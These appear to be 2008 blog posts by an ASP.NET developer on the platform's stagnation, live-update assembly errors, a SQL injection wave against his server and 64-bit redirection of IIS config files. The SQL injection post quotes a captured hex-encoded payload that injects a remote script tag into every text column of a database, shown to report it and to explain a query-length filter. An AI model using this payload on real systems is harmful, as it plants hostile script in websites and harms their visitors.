Maybe it's just me, but it definitely feels like energy levels are way down. To illustrate the point, the last couple of .NET conventions I attended were dull and almost boring both in terms of content and even more so in mood and attitude, which is quite a contrast from the way I remember the earlier days of .NET. This is a bit disheartening.
ASP.NET has gone Stale
It also doesn't help that Microsoft has let ASP.NET stagnate a bit since the release of .NET 2.0. .NET 2.0 brought about so many changes that there was some backwash against the sea of new features that were introduced in that version. While there were tons of major and useful improvements in 2.0 there also were a number of confusing features (like the funky 2.0 stock project model) and a host of features that seemed to seemingly overlap. Nevertheless the release of .NET 2.0 was eagerly anticipated because it brought many valuable improvements that affected developers in day to day tasks.
Since then though it's been rather quiet around ASP.NET. By comparison the recent release of ASP.NET 3.5 was an anti-climax for ASP.NET with almost no new features save integration of some previously released features – namely ASP.NET Ajax and the IIS 7 integration. Ironically the just released .NET 3.5 Service Pack 1 brought more new features and a new framework in the form the Microsoft MVC Framework that breathes some new life into the platform and diffuses some of the ire that the Web Forms engine had taken from agile developers looking for a more fitting platform for Web development.
Change is good, but I personally think that taking a breather in ASP.NET 3.5 was probably a good idea. There's been so much change recently in other areas of .NET from WCF, WPF, WorkFlow plus the new LINQ features in all of their various dialects that not having a boat load of new controls and framework features in ASP.NET 3.5 was actually a welcome relief. But it's a balancing act. Having a platform stabilize and not constantly requiring changes to keep up with new versions is a good thing, but dropping innovation too much also makes the platform appear to stuck in a rut and not moving forward which is also important for perception and adoption. It looks like ASP.NET 4.0 will again pick up the pace and provide more enhancements to address the latter.
Ajax – stuck in the Mud
Another issue that might account for the lack-luster adoption is Microsoft ASP.NET Ajax. The biggest change in Web Development over the last 3 years has been the steady march forward of Ajax and JavaScript technologies on the client. Microsoft's answer to Ajax is the bulky and clumsy ASP.NET AJAX framework which in a way takes a very different approach than most other Ajax libraries by trying to drive Ajax development primarily through server code and hiding client script from developers.
The problem here is that these tools offer virtually no compelling features to client side developers who choose to write Javascript code for rich clients that use the server for data retrieval. The client library offers practically no assistance for typical client side scripting tasks.
As with ASP.NET in general the ASP.NET Ajax tools have become stale after the initial release several years back. .NET 3.5 brought merely integration of these tools into the shipped runtimes, but there was no significant new functionality added to these libraries. The innovation has gone out of the Ajax tools while the rest of the Ajax world was frantically innovating.
It's important to point out though that ASP.NET Ajax is by no means required to do Ajax with ASP.NET. You can easily use another JavaScript framework like jQuery, Prototype, ExtJs and so on with ASP.NET. But the damage to the image is done with ASP.NET Ajax often considered a bulky choice that gets in the way more than it helps.
Microsoft Stigma
I'm always amazed how many people outside of the Microsoft fold have such intense loathing of Microsoft. It's not just dislike, but a virulent loathing where anything Microsoft is considered evil. Microsoft has certainly made itself unpopular over the years in a variety of ways and unfortunately mistakes of the past are now coming back to haunt the companies and likely will continue to do so for some time. Most of this is completely unrational, but it's a very common sentiment.
On the developer tools front Microsoft does well in the Enterprise and for typical business level systems mainly because Microsoft products are already entrenched in these environments and so .NET has a strong foot in the door already.
But outside of the enterprise and especially in Web development circles Microsoft is often greeted with strong cynicism and so tools that come from Microsoft are already facing an uphill battle. The perception of Microsoft as the evil empire with no good qualities and only out to get your money is definitely an issue in many circles and often results in downright dismissal of anything Microsoft as an option. This is often a consideration before even any sort of technical viability is established.
I'd argue that Microsoft has long shed this 'evil empire image' especially on the development tools front. These days Microsoft is much more open and transparent in regards to forthcoming developments and to some degree there's community involvement in product shaping. However, it isn't a truly open process and critics continue to point at the fact that Microsoft will never be able to create good software because it is not open sourced.
This stigma is going to be very difficult to overcome for Microsoft, unless the company can drastically change its image. Right now Microsoft's image is of a big stodgy company – the new IBM of old that is big and wants to keep its market dominance without contributing anything innovative to the technology pie. For Microsoft to turn things around would involve providing something new that is so compelling that it can overcome all the negative energy or a very drastic change in its business and development model that aligns it closer with the open source process. I wager, chances are slim that either of these will happen anytime soon…
Does it matter what others think?
The obvious question is whether all of this should concern us at all, or whether we should just be happy we've found our development platform that we're happy with and go on our merry way. It does matter to some degree to me. Like most people I want to be using a framework that has merit and is popular and maybe more importantly that I don't have to fight to justify my use of everywhere I go.
I think from a technical perspective ASP.NET is a solid framework with lots of room to grow and produce Web/HTTP applications of any kind. There are a number of options available for high level development with the Web Forms and MVC engines available now in the box, and additional third party engines available. ASP.NET is flexible enough to do high and low level development so that you can either rely on existing high level frameworks that are provided or – if you really need something specific – you can roll your own and even mix and match between them. Technically I'd argue that ASP.NET has nothing to worry about.
The bigger problems are those of political nature. Microsoft's stigma as a big company out to take advantage anyway it can is probably the biggest deterrent for ASP.NET adoption on the ground floor before it ever even comes to technical decisions. I also think the barrier of entry and getting started is turning off many people who are giving ASP.NET a first shot but are either overwhelmed or not comfortable with the default Web Forms mechanism.
There aren't a lot of solutions to these latter problems because they are based primarily on subjective sentiment. Certainly cleaning up Micorosft's image is not something that's going to happen overnight. I also think that on the development tools front at least Microsoft is going down the right path by being ever more transparent and even making source code available for many of the new projects that are coming out. For example, the MVC Framework's source code is actually available on CodePlex so you can look at the core source as well as become involved in the development process. This is a drastic change and a good step in the right direction to open up the tools and platform.
I think it would also help if Microsoft spent a little more effort to push the Microsoft platform outside of the already converted. Most of the advertising for ASP.NET and .NET and developer tools in general tends to be targeted at .NET developers, which is just preaching to the choir. What's really needed is more of a push to gain the hearts of those outside of the already converted circle. This is not easy and has to be done sensibly and not in the ram rod fashion that Microsoft 'case studies' often employ.
I also think that Microsoft would be well served by more introductory tutorials that focus on scenarios that go beyond the very basic drag and drop demos. Specifically some HTML designer centric demos that approach ASP.NET web development from the typical Html/CSS workflow approach would be very useful. Currently there's nothing of the sort that I've seen on the Microsoft site. This could help bridge the gap between developers who already are familiar with Web development and don't want to be dragged by the nose by the Visual Studio Visual Designer. Also more examples that about code rather than how to use the designer to hook up everything would be beneficial I suspect. All of this serves to make things more transparent – it helps convey that ASP.NET is just a big black magic box that mysteriously generates HTML but rather a tool that works with existing standards and features that HTML provides and provides the flexibility to generate just about any layout necessary.
For us as developers I think it's also very important to keep up to date and look at other technologies outside of the Microsoft space from time to time, to understand the grievances and also to see if there's not something that we can learn from other platforms.
I know it's hard to find the time to look at other technology; it's hard enough to keep up with all the new stuff coming out just inside of the Microsoft universe let alone looking at Web technologies in general. But I do believe it's important to understand what other technologies are out there and how they are approaching the same problems that we are solving with ASP.NET. In the end all tools generate HTML output that gets rendered in a browser, so there's more than one way and there's no one best way. It's a good idea occasionally to step outside your comfort zone and check out what the other guys are doing. Pick up a book on PHP or Phython, or sit down and install and run a Ruby on Rails tutorial and see how the same problems are solved with these other tools. Not only does this improve the way you can talk about other technologies intelligently, but it also might inspire new ideas on how you can do things differently in your own work even with ASP.NET.
And maybe, just maybe, the tide can turn and ASP.NET will be greeted with a little more respect in the future.
August 11, 2008 @ 1:53 am
- from Hood River, Oregon
In the last few weeks I've been noticing some problems with site updates I've made to my live server. I have an application running locally and it's running fine without problems. The app is running as a Web Application Project (WAP) and so when I update the application most of the time I only update the BIN folder and possibly one or two of the ASPX markup pages.
So I upload all files out of the BIN directory to the server and I quite frequently end up with a yellow screen of death like this:
which is not an unfamiliar dialog. If you've ever uploaded files to a live site you've probably been greeted by this dialog (or the safe redirected version thereof). When files are 'in transit' .NET can and often does detect the new file on the server even though it's incomplete and tries to load it, which fails and boom you get the above error. That's well understood (although not really an optimal way to handle this - .NET should be able to detect that this file is still being written to instead of blinding unloading and reloading assemblies - but that's another story for another day).
But what's happening to me now is that these this page keeps coming up even after the file upload to the server has been completed. If I refresh the above page I will see the app cycling through the BIN directory assemblies with similar errors. Somehow the files are locked or at least ASP.NET thinks they are.
It takes re-copying files (first impulse right? Must have screwed up the upload somehow!), a restart or editing of Web.Config to get the app back up and running. However on several occasions I've even restarted and not been able to get the assemblies to work. This even though the app runs locally. In that case I ended up copying the assemblies a couple more times (without changes mind you) and eventually it took.
It certainly looks like ASP.NET is somehow caching an invalid assembly (or all of them) and not letting them go after the upload is complete. In that case I get the dependency error, but no notice that the process cannot access a file. No secondary error message.
This is a new behavior for me. The uploads are relatively small (about 500k total) so the upload is pretty quick usually and I've been donig these sort of live updates forever. Even so I often used to get failures while files were copying but never once the files were on the server. This seems to be common now and it's thrown a small kink in my typical update routine. <shrug>
App_Offline.htm
So over the last couple of days I started using App_Offline.htm to put the application on hold when updating assemblies, which is a bit of a hassle. In case you don't know about App_Offline.htm: It's a file you can drop into the root of your ASP.NET Virtual which causes ASP.NET to basically hold requests and show the content of this HTML page. ASP.NET displays the content of this file - oddly as text and not HTML - for any URL that would normally access an ASP.NET based URL.
I've never been enamored with this approach of having to have an external file that you either have to copy or rename on the server which is a bit annoying to automate. It'd be nicer if there was some mechanism to do this from within ASP.NET so it can be driven from within an application, but I suppose it makes sense: The idea is that no .NET assemblies should be loaded while App_Offline.htm is in place. If the idea is to make a clean update App_Offline.htm is the only way short of shutting down the Virtual Application or Web Server.
Since I've used the update with App_Offline.htm I've had no more problems as expected. I manage this process through my FTP upload process (which I usually do manually since I tend to update only a few files at a time rather than doing a full file dump). So my normal process is to logon jump to bin and update my assemblies, then update any pages that need to be updated.
With App_Offline.htm I keep the page in the site root and I rename it over FTP as needed. Rename to make it active, then copy all assemblies, then rename it back to something else.
What about you? How are you managing small updates to live sites? Have you seen the kind of issues i've mentioned above and have they gotten more pronounced recently (maybe something's changed in the runtimes?). And how do you manage your file updates and if you use App_Offline.htm how do you use it?
August 09, 2008 @ 1:12 am
- from Hood River, Oregon
For the last couple of days I've noticed that my server's been inundated with a huge number of unwanted requests. The requests are firing what looks like SQL injection code against the server with a huge query string that tries to execute code on the server. Requests look something like this:
ShowMsg.wwt MsgId=2DD0S8MI5';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686
172283430303029204445434C415245205461626C655F437572736F7220435552534
F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69
643D622E696420616E6420612E78747970653D27752720616E642028622E78747970
653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206
F7220622E78747970653D31363729204F50454E205461626C655F437572736F722046
45544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C4043205748494C4528404046455443485F5354415455533D302920424547494E20
657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3
D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D
22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A7322
3E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F7
4206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22
687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020
5461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415445205461626C655F4
37572736F72%20AS%20CHAR(4000));EXEC(@S);
The attack is broad but the content is definitely gained from some previous spidering as this attack is using proper query string values and is hitting a wide swath of URLs on my site. It's hitting ASP.NET applications as well as some of my older West Wind Web Connection applications which is where I noticed this problem first.
Although I'm not terribly worried about these attacks actually getting into a database, it does end up hitting applications and so wasting CPU cycles and returning bandwidth that is effectively wasted which is annoying at least.
It also appears that these SPAM requests aren't absolutely slamming servers at least not on my end with requests using typical robot intervals with no more than a few requests every few seconds. It doesn't qualify (yet?) as a DOS attack.
Apparently I'm not the only one getting slammed. A number of other developers have been twittering all day about large swells in logs files and sluggish performance of their sites as well so this is fairly wide spread.
IIS 7 includes some request filtering tools which correspond roughly to what used to be the separate URLScan utility. The above would be easy to filter based on the fixed content, but unfortunately the <requestFiltering> feature of IIS 7 in ApplicationHost.config (in \windows\system32\inetsvr\config) does not allow for URL string filtering.
What I did however is count on the size of the above being rather large and setting up some query string length limits with the following setting in applicationhost.config:
<configuration>
<system.webServer>
<security>
<requestFiltering>
<requestLimits maxQueryString="1024">
</requestLimits>
</requestFiltering>
</security>
</system.webServer>
</configuration>
which filters the query string length at 1k. This is probably a good idea anyway, unless of course you have applications that generate extraordinarily long query strings.
With this in place the caller receives a 404:
This is obviously not a very solid solution - as soon as a smaller query string is used this approach no longer works, but for now this works to keep these request from reaching any application code and waste CPU cycles.
There are a few other ways that you can filter such as not allowing encoded text (kinda risky if you have many apps on your server) and not allowing upper ASCII characters.
If you're using IIS 6 or earlier you can probably achieve something similar using UrlScan on which the IIS 7 functionality is based in concept.
It's really disheartening to see this sort of waste of energy - on both ends for those perpetrating these attacks as well as the hassle of having to prevent it or at least fend it off. We live in shitty times when this is somebody's way to amuse themselves.
August 09, 2008 @ 12:05 am
- from Hood River, Oregon
Here's an interesting note about Windows 2008 running in 64 bit. Today I needed to edit ApplicationHost.config only to not find the damn file anywhere on my machine. It turns out 64 bit Windows uses redirection in the System32 folder and while running with a 32 bit Explorer replacement and a 32 bit editor I was unable to find the file until I switched to the stock tools in Windows which are 64 bit.
This bit me because I needed to make some changes in applicationhost.config. ApplicationHost.config is IIS 7's master configuration file that holds top level configuration settings. In it you can find things like Application Pool and Virtual directory definitions as well as most of the default root level configuration settings for IIS and ASP.NET.
What I wanted to do is change the IIS GZIP compression settings as well as lock down the UrlScan rules to lock out some unwanted DOS style attacks that seem to be plaguing a lot of sites over the last few days. Anyway I needed to open ApplicationHost.config on my newly buffed up Windows 2008 64 bit Server. And this is where it gets weird.
ApplicationHost.config should live in:
c:\windows\system32\inetsvr\config\applicationhost.config
So I navigated there and found - nothing. An empty folder with no files.
I'm running xPlorer2 as my Windows Explorer replacement interface and I installed it on the server as well to facilitate the lengthy process of copying files onto the new machine from the old Web Server. xPlorer2 rocks and beats the crap out of Windows Explorer (no big feat), but it's 32 bit application. One very nice feature of xPlorer2 is that it also has a quick deep search feature so I fired that off to search the entire boot drive for ApplicationHost.config. However, I came up with only history files and one version in some obscure amd64 related folder (most likely from an install path).
In short the freaking file I'm looking for was nowhere to be found on the system! So I searched around and ran into this IIS forums post that talks about a similar problem:
http://forums.iis.net/p/1150832/1875622.aspx
Basically it turns out that when you are running a 32 bit application you cannot see certain files in the 64 bit system32 folder - ApplcationHost.config among them. Files may be split between the system32 folder and system32Since xPlorer2 is 32 bit I get this (contrasted below with classic Explorer which does show the files):
The top app is xPlorer2 the bottom standard old Explorer. Notice that same folder in xPlorer2 above is empty while in classic Explorer the files show. But the issue is not just that files don't 'list' in a directory listing, but they are literally not accessible to 32 bit applications. The machine also has Visual Studio Tools for Applications installed, which is an editor - installed likely with SQL 2008 and meant for editing configuration files. It's essentially just the VS editor that does syntax highlighting (notice the Visual Studio Icon next to the Open button in the Explorer Window).
But it fails to open ApplicationHost.Config because it's a 32 bit app:
My favorite editor - EditPad - that is the default text editor in my configuration also doesn't work for the same reason. In the end, the only way I could actually edit ApplicationHost.config is with Notepad... Oh joy <g>.
I mentioned that I'm new to 64 bit, with this installation on the server being the first and this - this is really something I had no idea about. This is whacky to the max and heck it doesn't even make any sense. I did some searching around trying to find more information on this topic and it looks like there's very little info on this issue or at least it's not easy to find (here is one and another). Both of these describe the x64 FileSystem Redirector which basically routes DLL access to 32 bit or 64 bit specific directories. I suspect what's happening is that even other files are being redirected so trying to access applicationhost.config looks in C:\Windows\SysWOW64\inetsrv\Config but even there applicationhost.config is not found because well IIS is a 64 bit app and doesn't look there.
So using a 64 bit Editor and stock Explorer is the only way for the moment to get at the file. Kinda whacky, eh?